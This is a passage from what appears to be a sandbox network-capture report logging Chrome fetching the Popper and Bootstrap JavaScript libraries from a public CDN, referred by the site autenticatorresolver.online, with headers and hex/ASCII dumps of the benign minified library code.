25	192.168.2.7	49746	151.101.193.229	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:36 UTC	575	OUT	GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:37 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20122 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.11.8 X-JSD-Version-Type: version ETag: W/"4e9a-hx1u8QcL02PqOQ4MjDhOR9zn84k" Accept-Ranges: bytes Age: 1075523 Date: Tue, 26 Nov 2024 12:43:36 GMT X-Served-By: cache-fra-eddf8230047-FRA, cache-ewr-kewr1740020-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 70 6f 70 70 65 72 6a 73 2f 63 6f 72 65 20 76 32 2e 31 31 2e 38 20 2d 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 74 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 74 29 3a 74 28 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 50 6f 70 70 65 72 3d 7b 7d 29 7d Data Ascii: /** * @popperjs/core v2.11.8 - MIT License */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 6e 3d 74 28 65 29 3b 72 65 74 75 72 6e 7b 73 63 72 6f 6c 6c 4c 65 66 74 3a 6e 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 73 63 72 6f 6c 6c 54 6f 70 3a 6e 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 28 65 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 28 28 6e 28 65 29 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 65 2e 64 6f 63 75 6d 65 6e 74 29 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 20 70 28 64 28 65 Data Ascii: unction u(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function l(e){return e?(e.nodeName\|\|"").toLowerCase():null}function d(e){return((n(e)?e.ownerDocument:e.document)\|\|window.document).documentElement}function h(e){return p(d(e
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 28 6e 3d 5b 5d 29 3b 76 61 72 20 6f 3d 78 28 65 29 2c 69 3d 6f 3d 3d 3d 28 6e 75 6c 6c 3d 3d 28 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 76 6f 69 64 20 30 3a 72 2e 62 6f 64 79 29 2c 61 3d 74 28 6f 29 2c 73 3d 69 3f 5b 61 5d 2e 63 6f 6e 63 61 74 28 61 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 7c 7c 5b 5d 2c 76 28 6f 29 3f 6f 3a 5b 5d 29 3a 6f 2c 66 3d 6e 2e 63 6f 6e 63 61 74 28 73 29 3b 72 65 74 75 72 6e 20 69 3f 66 3a 66 2e 63 6f 6e 63 61 74 28 77 28 62 28 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 5b 22 74 61 62 6c 65 22 2c 22 74 64 22 2c 22 74 68 22 5d 2e 69 6e 64 65 78 4f 66 28 6c 28 65 29 29 3e 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 72 28 65 29 26 26 22 66 69 78 65 64 Data Ascii: (n=[]);var o=x(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport\|\|[],v(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(w(b(s)))}function O(e){return["table","td","th"].indexOf(l(e))>=0}function j(e){return r(e)&&"fixed
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 72 3d 74 2e 67 65 74 28 65 29 3b 72 26 26 6f 28 72 29 7d 7d 29 29 2c 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 73 65 74 28 65 2e 6e 61 6d 65 2c 65 29 7d 29 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 68 61 73 28 65 2e 6e 61 6d 65 29 7c 7c 6f 28 65 29 7d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 26 26 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3b 69 66 28 65 2e 63 6f 6e 74 61 69 6e 73 28 74 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 6e 26 26 6f 28 6e 29 29 7b 76 61 72 20 72 3d 74 3b 64 6f 7b 69 66 28 72 26 26 65 2e 69 73 53 61 6d 65 4e 6f 64 65 28 72 29 29 72 Data Ascii: r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)\|\|o(e)})),r}function C(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))r
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 69 6f 6e 29 3e 3d 30 26 26 72 28 65 29 3f 45 28 65 29 3a 65 3b 72 65 74 75 72 6e 20 6e 28 6f 29 3f 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 26 43 28 65 2c 6f 29 26 26 22 62 6f 64 79 22 21 3d 3d 6c 28 65 29 7d 29 29 3a 5b 5d 7d 28 65 29 3a 5b 5d 2e 63 6f 6e 63 61 74 28 74 29 2c 63 3d 5b 5d 2e 63 6f 6e 63 61 74 28 66 2c 5b 6f 5d 29 2c 70 3d 63 5b 30 5d 2c 75 3d 63 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 49 28 65 2c 6e 2c 73 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 70 3d 69 28 72 2e 74 6f 70 2c 74 2e 74 6f 70 29 2c 74 2e 72 69 67 68 74 3d 61 28 72 2e 72 69 67 68 74 2c 74 2e 72 69 67 68 74 29 2c 74 2e 62 6f 74 74 6f 6d 3d 61 28 72 2e 62 6f 74 74 6f 6d 2c Data Ascii: ion)>=0&&r(e)?E(e):e;return n(o)?t.filter((function(e){return n(e)&&C(e,o)&&"body"!==l(e)})):[]}(e):[].concat(t),c=[].concat(f,[o]),p=c[0],u=c.reduce((function(t,n){var r=I(e,n,s);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 72 79 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 67 3d 72 2e 70 61 64 64 69 6e 67 2c 62 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 67 2c 78 3d 59 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 62 3f 62 3a 47 28 62 2c 6b 29 29 2c 77 3d 6d 3d 3d 3d 54 3f 22 72 65 66 65 72 65 6e 63 65 22 3a 54 2c 4f 3d 65 2e 72 65 63 74 73 2e 70 6f 70 70 65 72 2c 6a 3d 65 2e 65 6c 65 6d 65 6e 74 73 5b 79 3f 77 3a 6d 5d 2c 45 3d 5f 28 6e 28 6a 29 3f 6a 3a 6a 2e 63 6f 6e 74 65 78 74 45 6c 65 6d 65 6e 74 7c 7c 64 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 70 6f 70 70 65 72 29 2c 63 2c 6c 2c 73 29 2c 50 3d 70 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 4d 3d 58 28 7b 72 65 66 65 72 65 6e 63 65 3a 50 2c 65 6c 65 6d 65 6e 74 3a 4f 2c 73 74 72 61 74 Data Ascii: ry,y=void 0!==v&&v,g=r.padding,b=void 0===g?0:g,x=Y("number"!=typeof b?b:G(b,k)),w=m===T?"reference":T,O=e.rects.popper,j=e.elements[y?w:m],E=_(n(j)?j:j.contextElement\|\|d(e.elements.popper),c,l,s),P=p(e.elements.reference),M=X({reference:P,element:O,strat
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 2c 70 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 71 28 65 29 3b 72 65 74 75 72 6e 20 56 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 68 61 73 65 3d 3d 3d 6e 7d 29 29 29 7d 29 2c 5b 5d 29 7d 28 28 73 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6f 2c 66 2e 6f 70 74 69 6f 6e 73 2e 6d 6f 64 69 66 69 65 72 73 29 2c 70 3d 73 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 5b 74 2e 6e 61 6d 65 5d 3b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 2c 74 2c 7b 6f 70 74 69 6f 6e 73 3a 4f Data Ascii: ,p,d=function(e){var t=q(e);return V.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:O
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 73 7d 29 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 2c 70 3d 21 30 7d 7d 3b 69 66 28 21 51 28 65 2c 74 29 29 72 65 74 75 72 6e 20 75 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 63 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 29 29 2c 63 3d 5b 5d 7d 72 65 74 75 72 6e 20 75 2e 73 65 74 4f 70 74 69 6f 6e 73 28 72 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 70 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 28 65 29 7d 29 29 2c 75 7d 7d 76 61 72 20 24 3d 7b 70 61 73 73 69 76 65 3a 21 30 7d 3b 76 61 72 20 65 65 3d 7b 6e 61 6d 65 3a 22 65 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 6e 61 62 6c 65 64 3a 21 30 Data Ascii: s}),destroy:function(){l(),p=!0}};if(!Q(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var $={passive:!0};var ee={name:"eventListeners",enabled:!0
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 69 67 68 74 22 2c 54 3d 22 63 6c 69 65 6e 74 57 69 64 74 68 22 3b 69 66 28 57 3d 3d 3d 74 28 72 29 26 26 22 73 74 61 74 69 63 22 21 3d 3d 6d 28 57 3d 64 28 72 29 29 2e 70 6f 73 69 74 69 6f 6e 26 26 22 61 62 73 6f 6c 75 74 65 22 3d 3d 3d 63 26 26 28 48 3d 22 73 63 72 6f 6c 6c 48 65 69 67 68 74 22 2c 54 3d 22 73 63 72 6f 6c 6c 57 69 64 74 68 22 29 2c 57 3d 57 2c 69 3d 3d 3d 44 7c 7c 28 69 3d 3d 3d 50 7c 7c 69 3d 3d 3d 4c 29 26 26 61 3d 3d 3d 42 29 4d 3d 41 2c 62 2d 3d 28 68 26 26 57 3d 3d 3d 6b 26 26 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 3f 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 68 65 69 67 68 74 3a 57 5b 48 5d 29 2d 6f 2e 68 65 69 67 68 74 2c 62 2a 3d 70 3f 31 3a 2d 31 3b 69 66 28 69 3d 3d 3d 50 7c 7c 28 69 3d 3d 3d 44 7c 7c 69 3d 3d Data Ascii: ight",T="clientWidth";if(W===t(r)&&"static"!==m(W=d(r)).position&&"absolute"===c&&(H="scrollHeight",T="scrollWidth"),W=W,i===D\|\|(i===P\|\|i===L)&&a===B)M=A,b-=(h&&W===k&&k.visualViewport?k.visualViewport.height:W[H])-o.height,b*=p?1:-1;if(i===P\|\|(i===D\|\|i==
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 65 73 2e 61 72 72 6f 77 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 73 74 79 6c 65 73 2e 61 72 72 6f 77 2c 72 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 63 2c 7b 6f 66 66 73 65 74 73 3a 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 61 72 72 6f 77 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 61 64 61 70 74 69 76 65 3a 21 31 2c 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 66 7d 29 29 29 29 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 2c 7b 22 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 22 3a 74 2e 70 6c 61 63 65 6d 65 6e 74 7d 29 7d 2c 64 61 74 61 3a 7b 7d 7d 3b 76 61 72 Data Ascii: es.arrow=Object.assign({},t.styles.arrow,re(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:f})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49747	151.101.193.229	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:36 UTC	571	OUT	GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:43:37 UTC	774	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60635 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.3 X-JSD-Version-Type: version ETag: W/"ecdb-LGwKWDRaCdN2EjCvgjpOSFKxJkM" Accept-Ranges: bytes Age: 559799 Date: Tue, 26 Nov 2024 12:43:36 GMT X-Served-By: cache-fra-etou8220156-FRA, cache-ewr-kewr1740033-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.3 (https://getbootstrap.com/) * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 64 20 30 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 2c 63 3d 74 3d 3e 6c 28 74 29 3f 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 28 74 29 29 3a 6e 75 6c 6c 2c 68 3d 74 3d 3e 7b 69 66 28 21 6c 28 74 29 7c 7c 30 3d 3d 3d 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 22 76 69 73 69 62 6c 65 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 2c 69 3d 74 2e 63 6c 6f 73 65 73 74 28 22 64 65 74 61 69 6c 73 Data Ascii: d 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(r(t)):null,h=t=>{if(!l(t)\|\|0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 65 2c 74 72 61 6e 73 69 74 69 6f 6e 44 65 6c 61 79 3a 69 7d 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 63 6f 6e 73 74 20 73 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2c 6e 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 3b 72 65 74 75 72 6e 20 73 7c 7c 6e 3f 28 65 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 31 65 33 2a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2b 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 29 28 65 29 2b 35 3b 6c 65 74 20 6e 3d 21 31 3b 63 6f 6e 73 74 20 72 3d 28 7b 74 61 72 67 65 74 3a 69 7d 29 3d 3e 7b 69 3d Data Ascii: itionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s\|\|n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const r=({target:i})=>{i=
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 3d 69 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c 69 29 7b 63 6f 6e 73 74 20 73 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2c 6e 3d 73 3f 69 3a 65 7c 7c 69 3b 6c 65 74 20 6f 3d 4d 28 74 29 3b 72 65 74 75 72 6e 20 53 2e 68 61 73 28 6f 29 7c 7c 28 6f 3d 74 29 2c 5b 73 2c 6e 2c 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 65 2c 69 2c 73 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 5b 6f 2c 72 2c 61 5d 3d 44 28 65 2c 69 2c 73 29 3b 69 66 28 65 20 69 6e 20 24 29 7b 63 6f 6e 73 74 20 74 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 21 3d 3d 65 2e 64 65 Data Ascii: =i))}function D(t,e,i){const s="string"==typeof e,n=s?i:e\|\|i;let o=M(t);return S.has(o)\|\|(o=t),[s,n,o]}function N(t,e,i,s,n){if("string"!=typeof e\|\|!t)return;let[o,r,a]=D(e,i,s);if(e in $){const t=t=>function(e){if(!e.relatedTarget\|\|e.relatedTarget!==e.de
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 3d 6f 29 7b 69 66 28 68 29 66 6f 72 28 63 6f 6e 73 74 20 69 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 29 29 78 28 74 2c 6c 2c 69 2c 65 2e 73 6c 69 63 65 28 31 29 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 69 2c 73 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 63 29 29 7b 63 6f 6e 73 74 20 6e 3d 69 2e 72 65 70 6c 61 63 65 28 43 2c 22 22 29 3b 61 26 26 21 65 2e 69 6e 63 6c 75 64 65 73 28 6e 29 7c 7c 50 28 74 2c 6c 2c 72 2c 73 2e 63 61 6c 6c 61 62 6c 65 2c 73 2e 64 65 6c 65 67 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 7d 7d 65 6c 73 65 7b 69 66 28 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 63 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 50 28 74 2c 6c 2c 72 2c 6f 2c 6e 3f 69 3a 6e 75 6c 6c 29 7d 7d 2c 74 72 69 67 67 65 72 28 74 2c 65 2c 69 29 7b Data Ascii: =o){if(h)for(const i of Object.keys(l))x(t,l,i,e.slice(1));for(const[i,s]of Object.entries(c)){const n=i.replace(C,"");a&&!e.includes(n)\|\|P(t,l,r,s.callable,s.delegationSelector)}}else{if(!Object.keys(c).length)return;P(t,l,r,o,n?i:null)}},trigger(t,e,i){
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 2c 69 2e 6c 65 6e 67 74 68 29 2c 65 5b 69 5d 3d 7a 28 74 2e 64 61 74 61 73 65 74 5b 73 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 28 74 2c 65 29 3d 3e 7a 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 62 73 2d 24 7b 48 28 65 29 7d 60 29 29 7d 3b 63 6c 61 73 73 20 71 7b 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 59 6f 75 20 68 61 76 65 20 74 6f 20 69 6d 70 6c 65 6d 65 6e Data Ascii: .toLowerCase()+i.slice(1,i.length),e[i]=z(t.dataset[s])}return e},getDataAttribute:(t,e)=>z(t.getAttribute(`data-bs-${H(e)}`))};class q{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implemen
2024-11-26 12:43:37 UTC	1378	IN	Data Raw: 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 73 74 61 74 69 63 20 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 74 28 63 28 74 29 2c 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 29 7d 73 74 61 74 69 63 20 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 2c 65 3d 7b 7d 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7c 7c 6e 65 77 20 74 68 69 73 28 74 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 7d 73 74 61 74 69 63 20 67 65 Data Ascii: s._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return n.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)\|\|new this(t,"object"==typeof e?e:null)}static ge
